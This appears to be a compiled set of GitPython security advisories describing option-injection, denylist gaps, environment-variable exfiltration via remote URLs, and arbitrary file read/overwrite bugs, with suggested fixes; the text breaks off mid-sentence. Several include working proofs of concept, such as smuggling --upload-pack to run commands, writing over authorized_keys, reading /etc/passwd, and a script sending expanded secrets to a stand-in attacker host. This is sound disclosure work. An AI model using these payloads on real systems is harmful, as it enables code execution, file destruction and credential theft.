Reject or escape configuration section/subsection/option names that contain ], [, ", or leading/trailing whitespace (or apply git's own section-name escaping) in _assure_config_name_safe / write_section, rather than only CR/LF/NUL. Validating submodule names before they reach sm_section would additionally close the clone-driven path.

Severity

  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-69097 / GHSA-3rp5-jjmw-4wv2 / PYSEC-2026-3981

More information

Details

GitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim's .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations.

Severity

  • CVSS Score: 7.3 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython: Incomplete unsafe_git_clone_options denylist omits --template enabling arbitrary command execution via clone hooks

CVE-2026-73623 / GHSA-6p8h-3wgx-97gf / PYSEC-2026-3952

More information

Details

Summary

GitPython's unsafe_git_clone_options denylist omits --template. git clone --template=<dir> copies <dir>/hooks/ into the new repository and runs them (post-checkout fires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the default allow_unsafe_options=False configuration.

Root Cause

base.py:145-152 defines unsafe_git_clone_options = ["--upload-pack","-u","--config","-c"] — --template is absent. The guard candidate ['--template'] passes check_unsafe_options (verified). git copies the hook directory and executes post-checkout at checkout time. git's protocol.allow/GIT_ALLOW_PROTOCOL do not gate --template; the incomplete denylist is the only defense.

Impact

Arbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs, /tmp, or attacker-writable network paths), reflected as AC:H.

Proof of Concept

##### attacker stages <dir>/hooks/post-checkout (chmod +x)
from git import Repo
Repo.clone_from(src, dst, template='<dir>')   # post-checkout hook executes -> marker created (verified)
Attack Chain
  1. Setup: attacker stages <dir>/hooks/post-checkout (chmod +x). Guard: n/a (filesystem).
  2. Entry: Repo.clone_from(url, path, template='<dir>'). Guard: check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options). Bypass proof: --template not on the denylist -> passes (verified candidate ['--template'], no error).
  3. Sink: git copies the hook and executes post-checkout at checkout. Impact: ACE, default config (verified marker created).
Bypass Evidence

Live-verified on HEAD (tag 3.1.53): guard candidate ['--template'] passed with no error; staged post-checkout hook executed during clone_from, creating the marker. Independent of the value-smuggle bypass (--template is a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory.

Affected Versions

<= 3.1.53

Suggested Fix

Add --template (and audit for other hook/exec-influencing options) to unsafe_git_clone_options.


Reported by zx (Jace) — GitHub: @​manus-use

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: Arbitrary file overwrite via git diff --output argument injection in Diffable.diff (key- and value-controlled)

CVE-2026-73624 / GHSA-fjr4-x663-mwxc / PYSEC-2026-3995

More information

Details

Summary

Diffable.diff() forwards **kwargs straight into diff/diff_tree with no check_unsafe_options guard. Diffable is mixed into Commit, Tree, IndexFile, and Submodule, giving a broad surface. git diff --output=<path> writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite.

Root Cause

diff.py:188-283 builds and runs the diff command with no check_unsafe_options anywhere in the method (grep-confirmed). Additionally diff.py:265 does args.insert(0, other), placing the caller-supplied other ref BEFORE the -- separator, so a value of --output=/path is parsed by git as an option — a value-only control path requiring no kwarg key.

Impact

Overwrite/corrupt any file at process privilege with attacker-chosen path (e.g. ~/.ssh/authorized_keys, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints.

Proof of Concept

##### Key-control:
commit.diff(other_commit, output='/home/app/.ssh/authorized_keys')   # victim overwritten with diff (105 bytes verified)

##### Value-control (attacker controls only the ref string):
commit.diff(other='--output=/home/app/.ssh/authorized_keys')          # 14-byte victim -> 146 bytes of diff-tree output
Attack Chain
  1. Entry (value-control): commit.diff(other=<user ref>) with other = "--output=/home/app/.ssh/authorized_keys". Guard: none in Diffable.diff. Bypass proof: no check_unsafe_options in the method body (grep); other inserted pre--- at diff.py:265.
  2. Sink: git diff-tree <sha> --output=/home/app/.ssh/authorized_keys -r ... -> git opens+truncates the target then writes diff content. Impact: overwrite/corrupt any file at process privilege (attacker chooses the path). Verified argv and victim overwrite live.
Bypass Evidence

Live-verified on HEAD (tag 3.1.53): both key-control (output=) and value-control (other='--output=...') overwrote a victim file with real diff-tree content; argv confirmed ['git','diff-tree','<sha>','--output=/victim','-r',...]. This is the same value-control model GHSA-956x deemed fix-worthy for iter_commits(rev='--output=') — but diff is a distinct, unguarded sink NOT touched by that fix.

Affected Versions

<= 3.1.53

Suggested Fix

Add check_unsafe_options to Diffable.diff (mirroring iter_commits/archive), and/or place --end-of-options before the other ref so it cannot be parsed as an option.


Reported by zx (Jace) — GitHub: @​manus-use

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: Unsafe git option guard bypass via single-character kwarg value token smuggling enables arbitrary command execution

CVE-2026-73625 / GHSA-r9mr-m37c-5fr3 / PYSEC-2026-3953

More information

Details

Summary

GitPython's check_unsafe_options guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by smuggling an option token inside the VALUE of a single-character kwarg. In the default allow_unsafe_options=False configuration this yields arbitrary command execution via --upload-pack.

Root Cause

The guard builds its candidate option list from kwarg KEYS only: _option_candidates([], {"n":"--upload-pack=<cmd>"}) returns ['-n'] (cmd.py:1042-1046 derives the candidate from the key, never the value). -n is not on the denylist, so check_unsafe_options passes. But transform_kwarg('n', value, split_single_char_options=True) (cmd.py:1600-1606) emits two argv tokens ['-n', '--upload-pack=<cmd>']. git then parses the second token as --upload-pack and executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token.

Impact

Arbitrary OS command execution as the host process (via --upload-pack) in the default configuration, affecting all guarded methods since they all build candidates through the name-only _option_candidates.

Proof of Concept
from git import Repo
Repo.clone_from(bare_repo, out_dir, n="--upload-pack=touch /tmp/ACE;git-upload-pack")

##### /tmp/ACE created -> ACE. Direct-name form upload_pack="..." is correctly BLOCKED.

File-write variant on a guarded revision command: iter_commits('HEAD', g='--output=/path') -> candidate ['-g'] passes, argv ['-g','--output=/path'], victim file truncated.

Attack Chain
  1. Entry: app forwards a user-supplied options dict -> Repo.clone_from(url, path, n="--upload-pack=touch /tmp/ACE;git-upload-pack"). Guard: check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options) at base.py. Bypass proof: _option_candidates([], {"n":"--upload-pack=..."}) -> ['-n'] (key-only), not on denylist -> no UnsafeOptionError (verified live).
  2. Transform: transform_kwarg('n', value, split_single_char_options=True) -> ['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens.
  3. Sink: git clone -n --upload-pack='touch ...;git-upload-pack' -- <src> <dst>; git parses and runs the second token. Impact: ACE (marker created, verified end-to-end).
Bypass Evidence

Live-verified on HEAD (tag 3.1.53): _option_candidates returns key-only candidate ['-n']; transform_kwargs emits the smuggled --upload-pack= token; clone_from with the payload created the marker file; the direct-name upload_pack= form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value->separate-token vector.

Affected Versions

<= 3.1.53

Suggested Fix

Make _option_candidates also emit candidates derived from single-character kwarg VALUES when split_single_char_options is in effect, OR run check_unsafe_options over the fully-transformed argv rather than the reconstructed name-only candidate list.


Reported by zx (Jace) — GitHub: @​manus-use

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-73623 / GHSA-6p8h-3wgx-97gf / PYSEC-2026-3952

More information

Details

GitPython before 3.1.54 contains an incomplete denylist in unsafe_git_clone_options that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute when git clones the repository.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


CVE-2026-73625 / GHSA-r9mr-m37c-5fr3 / PYSEC-2026-3953

More information

Details

GitPython versions before 3.1.54 contain a remote code execution vulnerability in the check_unsafe_options guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


CVE-2026-73624 / GHSA-fjr4-x663-mwxc / PYSEC-2026-3995

More information

Details

GitPython versions before 3.1.54 contain an arbitrary file overwrite vulnerability in the Diffable.diff method that fails to validate git options passed through kwargs. Attackers can supply the --output argument via the other parameter or output kwarg to write patch content to attacker-chosen file paths at process privilege level.

Severity

  • CVSS Score: 7.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)

CVE-2026-73622 / GHSA-94p4-4cq8-9g67 / PYSEC-2026-3951

More information

Details

Summary

The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clone_from() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.create_remote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polish_url() with the default expand_vars=True. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side to embed the hosting process's environment secret, written into .git/config, and then transmitted to the attacker's host on the next fetch/pull. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed.

Root Cause

Fix commit 8ac5a305 added an expand_vars parameter to Git.polish_url() (default True) and used expand_vars=False only in Repo._clone() (git/repo/base.py:1455). The shared helper's dangerous default was left in place, and the other callers were not updated.

git/remote.py:811, Remote.create:

url = Git.polish_url(url)                 # expand_vars=True -> os.path.expandvars(url)
if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(url)       # https:// carrying the secret passes
repo.git.remote(scmd, "--", name, url, **kwargs)   # expanded URL written to .git/config

check_unsafe_protocols() runs after expansion here, so it rejects an ext:: payload but does nothing about an https:// URL that carries an expanded secret in its path or host — the disclosure primitive.

The same unguarded call also sits at git/objects/submodule/base.py:611 (Submodule.add), which writes the expanded URL into .gitmodules (a tracked file) and .git/config.

Steps to Reproduce
Prerequisites
  • Python 3.9+
  • git on PATH (for the fetch step)
  • GitPython 3.1.53 (installed below)
Step 1: Install GitPython 3.1.53 in a clean venv
mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc
python3 -m venv venv
./venv/bin/pip install gitpython==3.1.53
Step 2: Write the PoC
cat > poc.py <<'PYEOF'

#!/usr/bin/env python3
"""Env-var exfiltration via Repo.create_remote() URL. Sentinel data only."""
import http.server
import os
import tempfile
import threading

import git

print("gitpython version:", git.__version__)

##### Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.
SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use"
os.environ["GP_SENTINEL_SECRET"] = SENTINEL

##### Local HTTP server standing in for attacker.example.
captured = []

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        captured.append(self.path)
        self.send_response(404)
        self.end_headers()

    def log_message(self, *a):
        pass

srv = http.server.HTTPServer(("127.0.0.1", 0), Handler)
port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()

##### Attacker-controlled URL handed to an "import from URL" feature.
attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port

def norm(s):  # display the ephemeral listener port as a stable placeholder
    return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT")

print("attacker-supplied URL :", norm(attacker_url))

repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-"))
remote = repo.create_remote("evil", attacker_url)   # public API

stored = repo.remote("evil").url
print("stored remote URL     :", norm(stored))
print("SENTINEL in git config:", SENTINEL in stored)

try:
    remote.fetch()          # transmits the expanded URL to the attacker host
except Exception:
    pass                    # fetch fails after the request is already sent

srv.shutdown()
over_network = any(SENTINEL in p for p in captured)
print("HTTP paths received   :", [norm(p) for p in captured])
print("SENTINEL over network :", over_network)

print()
if SENTINEL in stored and over_network:
    print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host")
elif SENTINEL in stored:
    print("VULNERABLE: env-var expanded into stored git-config URL")
else:
    print("not reproduced")
PYEOF
Step 3: Run it
cd /tmp/gp-remote-poc && ./venv/bin/python poc.py

Expected output (the listener's ephemeral port is shown as PORT):

gitpython version: 3.1.53
attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git
stored remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git
SENTINEL in git config: True
HTTP paths received   : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']
SENTINEL over network : True

VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host

The ${GP_SENTINEL_SECRET} token in the supplied URL is replaced with the environment value both in the stored .git/config URL and in the request that reaches the attacker-controlled host.

Suggested Fix

Pass expand_vars=False at the remaining URL callers, matching the clone fix:

  • git/remote.py Remote.create: url = Git.polish_url(url, expand_vars=False)
  • git/objects/submodule/base.py Submodule.add: url = Git.polish_url(url, expand_vars=False)

More robustly, flip the Git.polish_url() default to expand_vars=False (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.

Cleanup
rm -rf /tmp/gp-remote-poc
Impact

Any secret in the hosting process environment (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to Repo.create_remote() / Remote.add(). The secret is expanded into .git/config immediately and transmitted over the network (DNS + HTTP) on the next fetch/pull/remote update. This is the documented "import repository from URL" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches .gitmodules (a committable file) via Submodule.add().

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-73622 / GHSA-94p4-4cq8-9g67 / PYSEC-2026-3951

More information

Details

GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython: Arbitrary file truncation via git rev-list --output argument injection in unguarded Commit.count

CVE-2026-73621 / GHSA-p538-c434-8v24 / PYSEC-2026-3950

More information

Details

Summary

Commit.count() forwards **kwargs into rev_list with no check_unsafe_options guard (the guard exists only in the sibling iter_items, commit.py:341). git rev-list --output=<path> opens and truncates the target file to 0 bytes before revision parsing, so count(output='/victim') destroys/blanks an arbitrary file.

Root Cause

commit.py:290-291 calls self.repo.git.rev_list(self.hexsha, **kwargs) with no check_unsafe_options and no allow_unsafe_options parameter. The sibling iter_items (commit.py:341) is guarded; count is not. This is a distinct, uncovered sink — GHSA-956x-8gvw-wg5v fixed iter_commits/blame, not count.

Impact

Destroy/blank an arbitrary file at process privilege (integrity/availability). Reachability is key-control only (count uses self.hexsha, not a user ref), and the write is a 0-byte truncation (no content control), so MEDIUM.

Proof of Concept
commit.count(output='/path/to/victim')   # victim truncated to 0 bytes (verified)

##### control: commit.iter_commits(output=...) raises UnsafeOptionError
Attack Chain
  1. Entry: app forwards user options -> commit.count(output='/victim'). Guard: none. Bypass proof: iter_commits(output=) raises UnsafeOptionError; count(output=) does not — verified side-by-side.
  2. Sink: git rev-list <sha> --output=/victim -> file truncated to 0 bytes. Impact: destroy/blank arbitrary file.
Bypass Evidence

Live-verified on HEAD (tag 3.1.53): count(output=<victim>) truncated a pre-existing file to 0 bytes; guarded iter_commits(output=) raised UnsafeOptionError. Same CNA-accepted "app forwards user options dict" model as GHSA-956x-8gvw-wg5v's archive(**kwargs). Uncovered sink, not a duplicate.

Affected Versions

<= 3.1.53

Suggested Fix

Add check_unsafe_options to Commit.count (mirroring iter_items).


Reported by zx (Jace) — GitHub: @​manus-use

Severity

  • CVSS Score: 5.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-73621 / GHSA-p538-c434-8v24 / PYSEC-2026-3950

More information

Details

GitPython before 3.1.56 contains an argument injection vulnerability in the Commit.count() method, which forwards keyword arguments to 'git rev-list' without the check_unsafe_options guard present in the sibling iter_items method. An attacker who can control options passed to Commit.count (e.g., via an application that forwards a user-supplied options dict) can supply output=, causing 'git rev-list --output=' to open and truncate the target file to zero bytes before revision parsing. This allows destruction/blanking of an arbitrary file at the process's privilege level (no content control, 0-byte truncation).

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython: Unguarded git option forwarding in IndexFile.checkout() and TagReference.create() enables arbitrary file overwrite and arbitrary file read

CVE-2026-73620 / GHSA-3f7w-8rr8-f37f / PYSEC-2026-3949

More information

Details

Target: gitpython-developers/GitPython
Tested: HEAD 07e80555 (2026-07-25), latest release 3.1.55, git version 2.50.1
Reported instances: 2 exploitable, from a sweep of 14 unguarded call sites

Summary

GitPython blocks dangerous git options through Git.check_unsafe_options(), gated per method by an allow_unsafe_options parameter. That guard is applied per call site, so any API that forwards **kwargs into a git command without calling it passes caller-controlled options straight to git.

A mechanical sweep of every method that forwards **kwargs into a .git.<command>(...) call found 14 sites with no guard. Two reach a git option that takes a filesystem path:

# Call site git option Impact
1 IndexFile.checkout() → git checkout-index --prefix=<path> arbitrary file overwrite with repository-controlled content
2 TagReference.create() → git tag -F <file> / --file=<file> arbitrary file read, returned in-band

This is the same defect class already fixed in Commit.count() (GHSA-p538-c434-8v24), Repo.archive() and Git.ls_remote() (GHSA-956x-8gvw-wg5v). Both instances below are still present at HEAD.


Instance 1 — IndexFile.checkout(): arbitrary file overwrite

git/index/base.py:1210 accepts **kwargs and forwards them with no guard:

def checkout(self, paths=None, force=False, fprogress=lambda *args: None, **kwargs):
    ...
    proc = self.repo.git.checkout_index(*args, **kwargs)   # line 1331
    ...
    proc = self.repo.git.checkout_index(args, **kwargs)    # line 1349

There is no allow_unsafe_options parameter and no check_unsafe_options() call in the method.

git checkout-index accepts --prefix=<string>, prepended to every output path. It is not confined to the working tree, so an absolute prefix writes tracked file contents anywhere the process can write, and -f overwrites what is already there.

Reproduction
from git import Repo
Repo("/path/to/repo").index.checkout(prefix="/tmp/target_dir/", a=True, f=True)

Observed (poc/poc_checkout_index.py) — no exception raised, files land outside the repository:

[ALLOWED] no UnsafeOptionError raised
files written outside the repo: ['f.txt']
  f.txt: 'hi\n'

Overwrite of a pre-existing file (poc/poc_ci_overwrite.py) — the victim file held ORIGINAL-DO-NOT-CLOBBER\n before the call:

[ALLOWED] no exception
victim content now: 'hi\n'
OVERWRITTEN: True
Why this rates High

Both halves of the write are attacker-influenced:

  • Destination — the prefix kwarg.
  • Content — the bytes written are repository blobs, so anyone who can land a file in the repository (a pull-request branch, a mirrored or untrusted repository, an agent-cloned repository) controls exactly what is written.

Commit a file named authorized_keys, .bashrc, config or post-checkout, choose the matching prefix (~/.ssh/, ~/, .git/hooks/), and the write becomes code execution as the service account.

For comparison within this project: GHSA-fjr4-x663-mwxc (arbitrary file overwrite via git diff --output) is rated High, and GHSA-p538-c434-8v24 (arbitrary file truncation via git rev-list --output) is rated Medium. --prefix supplies full content control, so it sits at or above the former.


Instance 2 — TagReference.create(): arbitrary file read

git/refs/tag.py:88 forwards **kwargs into git tag with no guard, and the signature advertises the passthrough:

def create(cls, repo, path, reference="HEAD", logmsg=None, force=False, **kwargs):
    """...
    :param kwargs:
        Additional keyword arguments to be passed to :manpage:`git-tag(1)`.
    """

git tag accepts -F <file> / --file=<file>, which reads the tag message from an arbitrary path. The annotated tag object stores that content and GitPython returns it to the caller via TagReference.tag.message, so the file contents come back in-band.

Reproduction
from git import Repo
from git.refs.tag import TagReference

t = TagReference.create(Repo("/path/to/repo"), "x", force=True, a=True, F="/etc/passwd")
print(t.tag.message)

Observed (poc/poc_tag_F.py), reading a canary file outside the repository:

[ALLOWED] no UnsafeOptionError raised
>>> tag message recovered from arbitrary path: 'TAG-READ-CANARY-98765\nsecond-line-secret'

Impact is a read at the privileges of the process. I am not claiming code execution for this instance. The signing options (-s, -u/--local-user) do invoke gpg from the same unguarded kwargs, but I did not develop that into command execution and make no claim about it.


Sweep results — the other 12 sites

Reported so the fix can be scoped once rather than per report. poc/sweep.py reproduces this list.

Call site git command Assessment
IndexFile.from_tree() read-tree --index-output=<path> looked reachable but is neutralised: GitPython appends its own --index-output after the caller's kwargs and git honours the last occurrence. Verified — victim file unchanged (poc/poc_readtree.py)
IndexFile.remove() rm --pathspec-from-file only reads a pathspec; no write or disclosure primitive found
IndexFile.move() mv same
HEAD.reset() reset same
HEAD.checkout() checkout same
Head.delete(), RemoteReference.delete() branch no path-taking option found
Repo.merge_base() merge-base no path-taking option found
Repo._get_untracked_files() status no path-taking option found
Remote.set_url(), Remote.create(), Remote.update() remote URL handling already addressed by GHSA-94p4-4cq8-9g67
Suggested remediation

Immediate: add allow_unsafe_options: bool = False to both methods and gate Git._option_candidates(args, kwargs) against new lists — unsafe_git_checkout_index_options = ["--prefix"] (consider --temp) and unsafe_git_tag_options = ["--file", "-F"] (consider -s, -u/--local-user, --cleanup) — matching the pattern used in Repo.archive() and Commit.count().

Structural: this defect has now been fixed four times in four places (Repo.archive(), Git.ls_remote(), Commit.count(), and the two here), because the guard is opt-in per method: every new **kwargs-forwarding API starts unguarded and stays that way until someone reports it. Enforcing the check centrally in Git._call_process() — each git invocation consults a per-command unsafe-option table unless the caller opts out — would make new call sites safe by default rather than by review, and would close the remaining sites in the table above at the same time.

Disclosure

Reported privately via GitHub private vulnerability reporting.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: Incomplete unsafe_git_archive_options denylist omits --add-file / --add-virtual-file, enabling arbitrary file read via Repo.archive()

CVE-2026-73619 / GHSA-539m-9xh6-q6rr / PYSEC-2026-3948

More information

Details

Target: gitpython-developers/GitPython
Tested: HEAD 07e80555 (2026-07-25), latest release 3.1.55, git version 2.50.1

Summary

Repo.archive() does call the option guard, so this is not a missing-guard report. The guard is present and working; the denylist it consults is incomplete.


##### git/repo/base.py:169
unsafe_git_archive_options = [
    # Allows arbitrary command execution through the remote git-upload-archive command.
    "--exec",
    # Writes output to a caller-controlled filesystem path.
    "--output",
    "-o",
]

The comment on --output states the protected class in the project's own words: an option that lets the caller name a filesystem path is unsafe. --output is blocked because it writes to a caller-chosen path.

git archive also accepts --add-file=<path> and --add-virtual-file=<path:content> (both present in current git; verified against git version 2.50.1). --add-file reads a caller-chosen path — including an absolute path outside the repository — and places the bytes into the archive the caller receives. Neither option is in the list, and no other layer references them:

$ grep -rniE "add.file|add_file" git/
git/index/base.py:771:   R"""Add files from the working tree, ...      # unrelated docstring

Net effect: the guard blocks arbitrary file write at this sink while permitting arbitrary file read at the same sink.

Reachability proof (verified at the sink)

poc/poc_addfile.py at HEAD 07e80555. The PoC creates its own out-of-tree canary, so it runs from a clean machine:

-- CONTROL: options the denylist covers (expect BLOCKED) --
  [BLOCKED] output='/tmp/gp_written.tar': --output is not allowed, use `allow_unsafe_options=True` to allow it.
  [BLOCKED] o='/tmp/gp_written.tar': -o is not allowed, use `allow_unsafe_options=True` to allow it.
  [BLOCKED] exec='touch /tmp/gp_exec': --exec is not allowed, use `allow_unsafe_options=True` to allow it.

-- SIBLING OMITTED FROM THE DENYLIST: --add-file (expect ALLOWED) --
  [ALLOWED] add_file='/tmp/gp_canary.txt'  -> archive 10240 bytes
  archive members: ['f.txt', 'gp_canary.txt']
  >>> EXFILTRATED gp_canary.txt: 'secret-canary-12345'
  >>> byte-for-byte match with the out-of-tree file: CONFIRMED

-- also: --add-virtual-file (attacker-chosen name AND content) --
  [ALLOWED] add_virtual_file='pwn.txt:hello'  -> archive 10240 bytes

The three blocked lines are the control: they prove the guard is active on this call path, so the fourth result is a gap in list membership rather than a guard that never ran.

Minimal reproduction:

import io, tarfile
from git import Repo

buf = io.BytesIO()
Repo("/path/to/repo").archive(buf, format="tar", add_file="/etc/passwd")
print(tarfile.open(fileobj=io.BytesIO(buf.getvalue())).getnames())

##### ['<repo files>', 'passwd']   <- contents readable by whoever receives the archive

The canary is untracked and lives outside the repository; its contents are recovered from the returned archive and asserted byte-for-byte against the on-disk file. The option is rendered by transform_kwargs into --add-file=<path> and reaches git archive unmodified.

Direct precedent

GHSA-6p8h-3wgx-97gf (High, published 2026-07-22) is the same defect on the sibling list: "Incomplete unsafe_git_clone_options denylist omits --template" — an option absent from one of these denylists, reachable under the same caller-controlled-options precondition, accepted and fixed by adding it. git log shows the archive list itself has already been extended reactively once, in 701ce32f (fix: Guard unsafe git command options, GHSA-956x-8gvw-wg5v), and the --template omission was then fixed separately in ffcb5359.

--add-virtual-file is the same gap pointing the other way

--add-virtual-file=<path:content> lets the caller inject attacker-chosen content under an attacker-chosen name into an archive that downstream consumers will reasonably treat as repository-derived.

Suggested remediation
  1. Preferred — allowlist. Repo.archive() has a small legitimate option surface (format, prefix, worktree_attributes, remote, compression level, plus paths). Accepting those and rejecting the rest means a future git release cannot add another path-taking option that silently reopens this.
  2. Minimum — extend the list with --add-file and --add-virtual-file, and make the membership rule "the option takes a filesystem path or URL" rather than "the option executes a command". The existing comment on --output already implies that rule; applying it consistently is what closes the class instead of this instance.
Scope limits
  • Impact is arbitrary file read at the privileges of the process. Not code execution — I make no such claim here.
  • It requires the embedding application to forward caller-influenced kwargs into Repo.archive(). That is the identical precondition to --output, --exec and --template, all of which this project has treated as reportable.
Disclosure

Reported privately via GitHub private vulnerability reporting. Happy to test a candidate patch against the PoC. No public disclosure until you have shipped a fix and are ready.

While auditing the archive denylist, the same class of gap was identified in unsafe_git_clone_options. A second advisory is not being requested, as the issue is lower severity and should inform the fix for the issue above rather than require separate triage. Recording it here to provide the complete picture in one place.

Repo._clone() treats a URL's protocol as a security boundary and applies check_unsafe_protocols() to exactly one input:

clone_url = Git.polish_url(url, expand_vars=False)
if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(clone_url)      # the positional url only

git clone accepts a second URL via --bundle-uri=<uri>, which git dereferences before the main transport runs. That option is absent from unsafe_git_clone_options, so the option guard passes it, and check_unsafe_protocols() never inspects it. A caller-influenced value therefore drives an outbound request from the host:

Repo.clone_from(trusted_url, dest,
